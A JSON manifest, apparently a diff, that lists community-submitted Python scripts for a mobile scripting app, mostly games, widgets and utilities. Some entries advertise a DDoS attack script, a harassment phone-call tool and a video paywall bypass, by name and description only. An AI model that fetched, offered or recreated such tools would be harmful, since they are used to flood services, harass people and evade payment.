"thumbnail": null, - "version": 1, - "file_type": "py", - "author": "XiaoYuan", - "author_en": "XiaoYuan", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-21", - "updated": null, - "status": "active", - "lines": 325 - }, - { - "id": "flight_mn1ryk35", - "name": "flight", - "name_en": "flight", - "desc": "一个供参考的文本模型,能生成简单但意思不全的句子", - "desc_en": "一个供参考的文本模型,能生成简单但意思不全的句子", - "category": "basic", - "file": "scripts/basic/flight_mn1ryk35.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "ioo", - "author_en": "ioo", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-22", - "updated": null, - "status": "active", - "lines": 69 - }, - { - "id": "web_crawler_mn26dhgw", - "name": "web_crawler", - "name_en": "web_crawler", - "desc": "爬虫测试", - "desc_en": "爬虫测试", - "category": "basic", - "file": "scripts/basic/web_crawler_mn26dhgw.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "淮季", - "author_en": "淮季", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-22", - "updated": null, - "status": "active", - "lines": 971 - }, - { - "id": "2_0_mn37c7pr", - "name": "联通小组件2.0", - "name_en": "联通小组件2.0", - "desc": "联通流量小组件显示,无需每次打开软件进行刷新,它会自己后台悄悄的更新哦,根据需要填写的脚本里有提示,注意查看。", - "desc_en": "联通流量小组件显示,无需每次打开软件进行刷新,它会自己后台悄悄的更新哦,根据需要填写的脚本里有提示,注意查看。", - "category": "widgets", - "file": "scripts/widgets/2_0_mn37c7pr.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "Silence", - "author_en": "Silence", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-23", - "updated": null, - "status": "active", - "lines": 100 - }, - { - "id": "cookie_2_0_mn37fkak", - "name": "Cookie解析2.0", - "name_en": "Cookie解析2.0", - "desc": "相比头一个版本这次咱不用复制粘贴进去了麻烦死了😂,仅需把你自己抓到的 Cookie 拷贝,运行脚本 它会自动获取解析,生成文件在本 app文档部分。🐽", - "desc_en": "相比头一个版本这次咱不用复制粘贴进去了麻烦死了😂,仅需把你自己抓到的 Cookie 拷贝,运行脚本 它会自动获取解析,生成文件在本 app文档部分。🐽", - "category": "basic", - "file": "scripts/basic/cookie_2_0_mn37fkak.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "Silence", - "author_en": "Silence", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-23", - "updated": null, - "status": "active", - "lines": 92 - }, - { - "id": "2048_mn4569dx", - "name": "2048游戏", - "name_en": "2048游戏", - "desc": "经典的2048小游戏非常好玩", - "desc_en": "经典的2048小游戏非常好玩", - "category": "games", - "file": "scripts/games/2048_mn4569dx.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "今晚打老虎", - "author_en": "今晚打老虎", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-24", - "updated": null, - "status": "active", - "lines": 560 - }, - { - "id": "script_mn6mob7u", - "name": "七月单次电话", - "name_en": "七月单次电话", - "desc": "可以机器人给打电话,仅供学习!", - "desc_en": "可以机器人给打电话,仅供学习!", - "category": "basic", - "file": "scripts/basic/script_mn6mob7u.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "七月", - "author_en": "七月", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-25", - "updated": null, - "status": "active", - "lines": 57 - }, - { - "id": "script_mn7hc213", - "name": "迷宫小游戏", - "name_en": "迷宫小游戏", - "desc": "迷宫(简易)", - "desc_en": "迷宫(简易)", - "category": "games", - "file": "scripts/games/script_mn7hc213.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "Daoyu268", - "author_en": "Daoyu268", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-26", - "updated": null, - "status": "active", - "lines": 108 - }, - { - "id": "community_叠叠高__by_今晚打老虎", - "name": "叠叠高 — by 今晚打老虎", - "name_en": "叠叠高 — by 今晚打老虎", - "desc": "[投稿] 叠叠高 — by 今晚打老虎", - "desc_en": "[投稿] 叠叠高 — by 今晚打老虎", - "category": "games", - "file": "scripts/games/script_mn7q5him.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "社区投稿", - "author_en": "社区投稿", - "tags": [ - "community", - "games" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-26", - "updated": null, - "status": "active", - "lines": 471 - }, - { - "id": "community_骚扰电话__by_俄总统", - "name": "骚扰电话☎️ — by 俄总统", - "name_en": "骚扰电话☎️ — by 俄总统", - "desc": "[投稿] 骚扰电话☎️ — by 俄总统", - "desc_en": "[投稿] 骚扰电话☎️ — by 俄总统", - "category": "basic", - "file": "scripts/ui/script_mn8qerq9.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "社区投稿", - "author_en": "社区投稿", - "tags": [ - "community", - "basic" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-27", - "updated": null, - "status": "active", - "lines": 98 - }, - { - "id": "script_mn91mn1t", - "name": "每日一词", - "name_en": "每日一词", - "desc": "每日一词", - "desc_en": "每日一词", - "category": "widgets", - "file": "scripts/widgets/script_mn91mn1t.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "一只菜鸡", - "author_en": "一只菜鸡", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-27", - "updated": null, - "status": "active", - "lines": 113 - }, - { - "id": "script_mn9r95l0", - "name": "实时电影票房", - "name_en": "实时电影票房", - "desc": "建议用中号小组件", - "desc_en": "建议用中号小组件", - "category": "widgets", - "file": "scripts/widgets/script_mn9r95l0.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "一只菜鸡", - "author_en": "一只菜鸡", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-28", - "updated": null, - "status": "active", - "lines": 87 - }, - { - "id": "script_mna05y9m", - "name": "今日油价", - "name_en": "今日油价", - "desc": "CITY_NAME = \"北京\" # ← 在这里修改城市名称", - "desc_en": "CITY_NAME = \"北京\" # ← 在这里修改城市名称", - "category": "widgets", - "file": "scripts/widgets/script_mna05y9m.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "一只菜鸡", - "author_en": "一只菜鸡", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-28", - "updated": null, - "status": "active", - "lines": 312 - }, - { - "id": "2_mna8yaj4", - "name": "节假日2", - "name_en": "节假日2", - "desc": "节假日倒计时优化", - "desc_en": "节假日倒计时优化", - "category": "widgets", - "file": "scripts/widgets/2_mna8yaj4.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "Silence", - "author_en": "Silence", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-28", - "updated": null, - "status": "active", - "lines": 113 - }, - { - "id": "script_mnadv3th", - "name": "猜数字", - "name_en": "猜数字", - "desc": "iOS风格", - "desc_en": "iOS风格", - "category": "games", - "file": "scripts/games/script_mnadv3th.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "Yahoo", - "author_en": "Yahoo", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-28", - "updated": null, - "status": "active", - "lines": 188 - }, - { - "id": "e_mnagdrfc", - "name": "蒙电e家电费", - "name_en": "蒙电e家电费", - "desc": "YHDABH = \"自行抓包修改参数\" ,内蒙古蒙电e家app,外省不用下,建议中号小组件", - "desc_en": "YHDABH = \"自行抓包修改参数\" ,内蒙古蒙电e家app,外省不用下,建议中号小组件", - "category": "widgets", - "file": "scripts/widgets/e_mnagdrfc.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "两只菜鸡", - "author_en": "两只菜鸡", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-28", - "updated": null, - "status": "active", - "lines": 178 - }, - { - "id": "script_mnahfe4x", - "name": "谷歌热点新闻", - "name_en": "谷歌热点新闻", - "desc": "直接爬取谷歌热点新闻,可以选择保存为txt", - "desc_en": "直接爬取谷歌热点新闻,可以选择保存为txt", - "category": "basic", - "file": "scripts/basic/script_mnahfe4x.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "爬虫专家", - "author_en": "爬虫专家", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-28", - "updated": null, - "status": "active", - "lines": 227 - }, - { - "id": "script_mnbnp2ee", - "name": "简易数学计算器", - "name_en": "简易数学计算器", - "desc": "小学生做的代码,不喜勿喷,若有bug,及时在电子邮箱里反馈", - "desc_en": "小学生做的代码,不喜勿喷,若有bug,及时在电子邮箱里反馈", - "category": "basic", - "file": "scripts/basic/script_mnbnp2ee.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "程序员小y", - "author_en": "程序员小y", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-29", - "updated": null, - "status": "active", - "lines": 55 - }, - { - "id": "script_mnbr9mqw", - "name": "音频测试器", - "name_en": "音频测试器", - "desc": "用Ui模块直接测试作者内置的一百多个音频", - "desc_en": "用Ui模块直接测试作者内置的一百多个音频", - "category": "ui", - "file": "scripts/ui/script_mnbr9mqw.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "爬虫专家", - "author_en": "爬虫专家", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-29", - "updated": null, - "status": "active", - "lines": 265 - }, - { - "id": "script_mnbrzcaq", - "name": "日历", - "name_en": "日历", - "desc": "仅仅支持大组件", - "desc_en": "仅仅支持大组件", - "category": "widgets", - "file": "scripts/widgets/script_mnbrzcaq.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "Silence", - "author_en": "Silence", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-29", - "updated": null, - "status": "active", - "lines": 130 - }, - { - "id": "script_mndbzbxy", - "name": "函数绘制器", - "name_en": "函数绘制器", - "desc": "输入函数解析式可以直接生成函数图象", - "desc_en": "输入函数解析式可以直接生成函数图象", - "category": "basic", - "file": "scripts/basic/script_mndbzbxy.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "Nemo", - "author_en": "Nemo", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-30", - "updated": null, - "status": "active", - "lines": 290 - }, - { - "id": "community_高精ip查询工具箱__by_淮季", - "name": "高精ip查询工具箱 — by 淮季", - "name_en": "高精ip查询工具箱 — by 淮季", - "desc": "[投稿] 高精ip查询工具箱 — by 淮季", - "desc_en": "[投稿] 高精ip查询工具箱 — by 淮季", - "category": "basic", - "file": "scripts/basic/ip_mndf9xci.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "社区投稿", - "author_en": "社区投稿", - "tags": [ - "community", - "basic" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-30", - "updated": null, - "status": "active", - "lines": 150 - }, - { - "id": "ai_mndywb18", - "name": "Ai五子棋", - "name_en": "Ai五子棋", - "desc": "你行你来!", - "desc_en": "你行你来!", - "category": "games", - "file": "scripts/games/ai_mndywb18.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "三只菜鸡", - "author_en": "三只菜鸡", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-31", - "updated": null, - "status": "active", - "lines": 650 - }, - { - "id": "block_blast_mnerg6j8", - "name": "block_blast", - "name_en": "block_blast", - "desc": "block blast", - "desc_en": "block blast", - "category": "games", - "file": "scripts/games/block_blast_mnerg6j8.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "VibeC", - "author_en": "VibeC", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-31", - "updated": null, - "status": "active", - "lines": 1122 - }, - { - "id": "script_mnfqk5cz", - "name": "二维码生成器", - "name_en": "二维码生成器", - "desc": "生成二维码(需拓展qrcode库)", - "desc_en": "生成二维码(需拓展qrcode库)", - "category": "basic", - "file": "scripts/basic/script_mnfqk5cz.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "爱玩Arduino", - "author_en": "爱玩Arduino", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-01", - "updated": null, - "status": "active", - "lines": 15 - }, - { - "id": "community_太好用了__by_鲁小师", - "name": "太好用了 — by 鲁小师", - "name_en": "太好用了 — by 鲁小师", - "desc": "[投稿] 太好用了 — by 鲁小师", - "desc_en": "[投稿] 太好用了 — by 鲁小师", - "category": "basic", - "file": "scripts/basic/script_mnfrb0ax.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "社区投稿", - "author_en": "社区投稿", - "tags": [ - "community", - "basic" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-01", - "updated": null, - "status": "active", - "lines": 23 - }, - { - "id": "script_mnfx90ey", - "name": "纪念日", - "name_en": "纪念日", - "desc": "可更改自己所需的纪念日或者倒计时,脚本有注释", - "desc_en": "可更改自己所需的纪念日或者倒计时,脚本有注释", - "category": "widgets", - "file": "scripts/widgets/script_mnfx90ey.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "Silence", - "author_en": "Silence", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-01", - "updated": null, - "status": "active", - "lines": 189 - }, - { - "id": "script_mngcmh7k", - "name": "相册照片统计", - "name_en": "相册照片统计", - "desc": "可以统计你相册的所有照片,并分类显示", - "desc_en": "可以统计你相册的所有照片,并分类显示", - "category": "basic", - "file": "scripts/basic/script_mngcmh7k.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "今晚打老虎", - "author_en": "今晚打老虎", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-01", - "updated": null, - "status": "active", - "lines": 138 - }, - { - "id": "2_0_mngptldc", - "name": "骚扰电话检测防护工具2.0", - "name_en": "骚扰电话检测防护工具2.0", - "desc": "重构ui界面修复首次运行时ui显示错位问题,优化增强识别骚扰电话能力", - "desc_en": "重构ui界面修复首次运行时ui显示错位问题,优化增强识别骚扰电话能力", - "category": "ui", - "file": "scripts/ui/2_0_mngptldc.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "昨天", - "author_en": "昨天", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-02", - "updated": null, - "status": "active", - "lines": 713 - }, - { - "id": "script_mnhgvh9i", - "name": "象棋", - "name_en": "象棋", - "desc": "可以单机可以双人,感兴趣的可以挑战一下", - "desc_en": "可以单机可以双人,感兴趣的可以挑战一下", - "category": "games", - "file": "scripts/games/script_mnhgvh9i.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "今晚打老虎", - "author_en": "今晚打老虎", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-02", - "updated": null, - "status": "active", - "lines": 1459 - }, - { - "id": "cmd1_0_mnirvpz0", - "name": "模拟cmd1.0", - "name_en": "模拟cmd1.0", - "desc": "一个模拟cmd的小脚本,为了方便改了一点语法,暂时只有这些功能english:A small script that simulates cmd. In order to facilitate a little syntax, it only has these functions for the time being.", - "desc_en": "一个模拟cmd的小脚本,为了方便改了一点语法,暂时只有这些功能english:A small script that simulates cmd. In order to facilitate a little syntax, it only has these functions for the time being.", - "category": "basic", - "file": "scripts/basic/cmd1_0_mnirvpz0.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "ioo", - "author_en": "ioo", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-03", - "updated": null, - "status": "active", - "lines": 93 - }, - { - "id": "script_mnj1lj72", - "name": "每日名言", - "name_en": "每日名言", - "desc": "每日名言,仅仅支持中组件", - "desc_en": "每日名言,仅仅支持中组件", - "category": "widgets", - "file": "scripts/widgets/script_mnj1lj72.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "Silence", - "author_en": "Silence", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-03", - "updated": null, - "status": "active", - "lines": 93 - }, - { - "id": "community_iphone真实储存容量__by_silence", - "name": "iPhone真实储存容量 — by Silence", - "name_en": "iPhone真实储存容量 — by Silence", - "desc": "[投稿] iPhone真实储存容量 — by Silence", - "desc_en": "[投稿] iPhone真实储存容量 — by Silence", - "category": "widgets", - "file": "scripts/widgets/iphone_mnj29d3s.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "社区投稿", - "author_en": "社区投稿", - "tags": [ - "community", - "widgets" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-03", - "updated": null, - "status": "active", - "lines": 74 - }, - { - "id": "whois_mnk4rrph", - "name": "whois查询", - "name_en": "whois查询", - "desc": "优化操作流程", - "desc_en": "优化操作流程", - "category": "basic", - "file": "scripts/basic/whois_mnk4rrph.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "Jason Peng", - "author_en": "Jason Peng", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-04", - "updated": null, - "status": "active", - "lines": 351 - }, - { - "id": "script_mnkej15x", - "name": "和平内核模拟刷入", - "name_en": "和平内核模拟刷入", - "desc": "这个只是整蛊人的,大家可以去整蛊一下朋友", - "desc_en": "这个只是整蛊人的,大家可以去整蛊一下朋友", - "category": "basic", - "file": "scripts/basic/script_mnkej15x.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "小王", - "author_en": "小王", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-04", - "updated": null, - "status": "active", - "lines": 78 - }, - { - "id": "ui_mnkr9090", - "name": "网吧模拟器Ui 版", - "name_en": "网吧模拟器Ui 版", - "desc": "网吧模拟器Ui模块版", - "desc_en": "网吧模拟器Ui模块版", - "category": "ui", - "file": "scripts/ui/ui_mnkr9090.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "今晚打老虎", - "author_en": "今晚打老虎", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-04", - "updated": null, - "status": "active", - "lines": 577 - }, - { - "id": "script_mnl0ws3b", - "name": "一款计算器", - "name_en": "一款计算器", - "desc": "小学生爆肝5天,不喜勿喷,bug请联系", - "desc_en": "小学生爆肝5天,不喜勿喷,bug请联系", - "category": "basic", - "file": "scripts/basic/script_mnl0ws3b.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "ENDER", - "author_en": "ENDER", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-05", - "updated": null, - "status": "active", - "lines": 187 - }, - { - "id": "cmd1_0_mnleeeta", - "name": "模拟cmd1.0系统可还原", - "name_en": "模拟cmd1.0系统可还原", - "desc": "如果不小心删了文件,可以用save和load保存系统或加载系统,文件名dosfile.txt,是json格式", - "desc_en": "如果不小心删了文件,可以用save和load保存系统或加载系统,文件名dosfile.txt,是json格式", - "category": "basic", - "file": "scripts/basic/cmd1_0_mnleeeta.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "ioo", - "author_en": "ioo", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-05", - "updated": null, - "status": "active", - "lines": 97 - }, - { - "id": "community_模拟cmd20__by_ioo", - "name": "模拟cmd2.0 — by ioo", - "name_en": "模拟cmd2.0 — by ioo", - "desc": "[投稿] 模拟cmd2.0 — by ioo", - "desc_en": "[投稿] 模拟cmd2.0 — by ioo", - "category": "basic", - "file": "scripts/basic/cmd2_0_mnll1610.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "社区投稿", - "author_en": "社区投稿", - "tags": [ - "community", - "basic" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-05", - "updated": null, - "status": "active", - "lines": 99 - }, - { - "id": "subinfo_web_mnlyw592", - "name": "subinfo_web", - "name_en": "subinfo_web", - "desc": "订阅链接查询", - "desc_en": "订阅链接查询", - "category": "ui", - "file": "scripts/ui/subinfo_web_mnlyw592.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "啥也不是", - "author_en": "啥也不是", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-05", - "updated": null, - "status": "active", - "lines": 568 - }, - { - "id": "script_mnnqr05c", - "name": "通讯录统计", - "name_en": "通讯录统计", - "desc": "可以统计手机通讯录内容", - "desc_en": "可以统计手机通讯录内容", - "category": "basic", - "file": "scripts/basic/script_mnnqr05c.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "今晚打老虎", - "author_en": "今晚打老虎", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-06", - "updated": null, - "status": "active", - "lines": 427 - }, - { - "id": "script_mnoj6hz6", - "name": "效果进度条", - "name_en": "效果进度条", - "desc": "一个模板,进度条模板,使用\\r", - "desc_en": "一个模板,进度条模板,使用\\r", - "category": "basic", - "file": "scripts/basic/script_mnoj6hz6.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "ioo", - "author_en": "ioo", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-07", - "updated": null, - "status": "active", - "lines": 26 - }, - { - "id": "community_cmd20修正测试__by_ioo", - "name": "cmd2.0修正测试 — by ioo", - "name_en": "cmd2.0修正测试 — by ioo", - "desc": "[投稿] cmd2.0修正测试 — by ioo", - "desc_en": "[投稿] cmd2.0修正测试 — by ioo", - "category": "basic", - "file": "scripts/basic/cmd2_0_mnoj7n30.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "社区投稿", - "author_en": "社区投稿", - "tags": [ - "community", - "basic" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-07", - "updated": null, - "status": "active", - "lines": 29 - }, - { - "id": "vpn_mnqlott7", - "name": "vpn", - "name_en": "vpn", - "desc": "Proxy", - "desc_en": "Proxy", - "category": "ui", - "file": "scripts/ui/vpn_mnqlott7.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "Viển", - "author_en": "Viển", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-08", - "updated": null, - "status": "active", - "lines": 18 - }, - { - "id": "get_mnsxghs0", - "name": "网页状态政策程序(GET请求)", - "name_en": "网页状态政策程序(GET请求)", - "desc": "一个侦测网页状态的Python程序(GET请求),小学生通宵做的,不喜勿喷。如有改进,可在电子邮件内提出意见", - "desc_en": "一个侦测网页状态的Python程序(GET请求),小学生通宵做的,不喜勿喷。如有改进,可在电子邮件内提出意见", - "category": "basic", - "file": "scripts/basic/get_mnsxghs0.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "程序员小y", - "author_en": "程序员小y", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-10", - "updated": null, - "status": "active", - "lines": 41 - }, - { - "id": "script_mnutzsk7", - "name": "扫雷", - "name_en": "扫雷", - "desc": "经典扫雷小游戏,完美还原Windows", - "desc_en": "经典扫雷小游戏,完美还原Windows", - "category": "games", - "file": "scripts/games/script_mnutzsk7.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "我是人", - "author_en": "我是人", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-11", - "updated": null, - "status": "active", - "lines": 236 - }, - { - "id": "community_身份证核验__by_霞飞路", - "name": "身份证核验 — by 霞飞路", - "name_en": "身份证核验 — by 霞飞路", - "desc": "[投稿] 身份证核验 — by 霞飞路", - "desc_en": "[投稿] 身份证核验 — by 霞飞路", - "category": "basic", - "file": "scripts/basic/script_mnul4nuo.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "社区投稿", - "author_en": "社区投稿", - "tags": [ - "community", - "basic" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-12", - "updated": null, - "status": "active", - "lines": 17 - }, - { - "id": "ddos_mnydfe4y", - "name": "DDOS攻击", - "name_en": "DDOS攻击", - "desc": "电脑运行,手机的加载容易卡机,请在靶机或授权环境情况下使用!", - "desc_en": "电脑运行,手机的加载容易卡机,请在靶机或授权环境情况下使用!", - "category": "basic", - "file": "scripts/basic/ddos_mnydfe4y.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "七月", - "author_en": "七月", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-14", - "updated": null, - "status": "active", - "lines": 100 - }, - { - "id": "community_腾讯视频各类免费看密码是qiyue__by_七月", - "name": "腾讯视频各类免费看密码是qiyue — by 七月", - "name_en": "腾讯视频各类免费看密码是qiyue — by 七月", - "desc": "[投稿] 腾讯视频各类免费看密码是qiyue — by 七月", - "desc_en": "[投稿] 腾讯视频各类免费看密码是qiyue — by 七月", - "category": "ui", - "file": "scripts/ui/qiyue_mnyea7xv.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "社区投稿", - "author_en": "社区投稿", - "tags": [ - "community", - "ui" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-14", - "updated": null, - "status": "active", - "lines": 146 - }, - { - "id": "salary_widget_mnyqeg8t", - "name": "salary_widget", - "name_en": "salary_widget", - "desc": "看看每天可以摸多少薪水", - "desc_en": "看看每天可以摸多少薪水", - "category": "widgets", - "file": "scripts/widgets/salary_widget_mnyqeg8t.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "AirouLin", - "author_en": "AirouLin", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-14", - "updated": null, - "status": "active", - "lines": 192 - }, - { - "id": "community_模拟cmd26__by_ioo", - "name": "模拟cmd2.6 — by ioo", - "name_en": "模拟cmd2.6 — by ioo", - "desc": "[投稿] 模拟cmd2.6 — by ioo", - "desc_en": "[投稿] 模拟cmd2.6 — by ioo", - "category": "basic", - "file": "scripts/basic/cmd2_6_mo2zh2uh.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "社区投稿", - "author_en": "社区投稿", - "tags": [ - "community", - "basic" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-17", - "updated": null, - "status": "active", - "lines": 144 - }, - { - "id": "web_crawler_mo38mv63", - "name": "web_crawler", - "name_en": "web_crawler", - "desc": "Name", - "desc_en": "Name", - "category": "basic", - "file": "scripts/basic/web_crawler_mo38mv63.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "Nice", - "author_en": "Nice", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-17", - "updated": null, - "status": "active", - "lines": 26 - }, - { - "id": "3_0_mo8lp3m5", - "name": "科学计算器3.0", - "name_en": "科学计算器3.0", - "desc": "兄弟们!咱们的V3(V2是html上传不了)版本科学计算器也是来了!直接上传,肥肠好用!(直接打开第三条网址)之前不更新是在搞焊接,感谢大伙一路以来的陪伴!", - "desc_en": "兄弟们!咱们的V3(V2是html上传不了)版本科学计算器也是来了!直接上传,肥肠好用!(直接打开第三条网址)之前不更新是在搞焊接,感谢大伙一路以来的陪伴!", - "category": "ui", - "file": "scripts/ui/3_0_mo8lp3m5.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "ENDER", - "author_en": "ENDER", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-21", - "updated": null, - "status": "active", - "lines": 642 - }, - { - "id": "script_mo9oqex4", - "name": "小姐姐视频", - "name_en": "小姐姐视频", - "desc": "没事瞎闹", - "desc_en": "没事瞎闹", - "category": "ui", - "file": "scripts/ui/script_mo9oqex4.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "枕闲鱼", - "author_en": "枕闲鱼", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-22", - "updated": null, - "status": "active", - "lines": 77 - }, - { - "id": "cipilot_mobvhfz8", - "name": "Cipilot", - "name_en": "Cipilot", - "desc": "import pybase64 import base64 import requests import binascii import os # Define a fixed timeout for HTTP requests TIMEOUT = 15 # seconds # Define the fixed text for the initial configuration fixed_text = \"\"\"#profile-title: base64:8J+GkyBHaXRodWIgfCBCYXJyeS1mYXIg8J+ltw== #profile-update-interval: 1 #subscription-userinfo: upload=29; download=12; total=10737418240000000; expire=2546249531 #support-url: https://github.com/barry-far/V2ray-config #profile-web-page-url: https://github.com/barry-far/V2ray-config \"\"\" # Base64 decoding function def decode_base64(encoded): decoded = \"\" for encoding in [\"utf-8\", \"iso-8859-1\"]: try: decoded = pybase64.b64decode(encoded + b\"=\" * (-len(encoded) % 4)).decode(encoding) break except (UnicodeDecodeError, binascii.Error): pass return decoded # Function to decode base64-encoded links with a timeout def decode_links(links): decoded_data = [] for link in links: try: response = requests.get(link, timeout=TIMEOUT) encoded_bytes = response.content decoded_text = decode_base64(encoded_bytes) decoded_data.append(decoded_text) except requests.RequestException: pass # If the request fails or times out, skip it return decoded_data # Function to decode directory links with a timeout def decode_dir_links(dir_links): decoded_dir_links = [] for link in dir_links: try: response = requests.get(link, timeout=TIMEOUT) decoded_text = response.text decoded_dir_links.append(decoded_text) except requests.RequestException: pass # If the request fails or times out, skip it 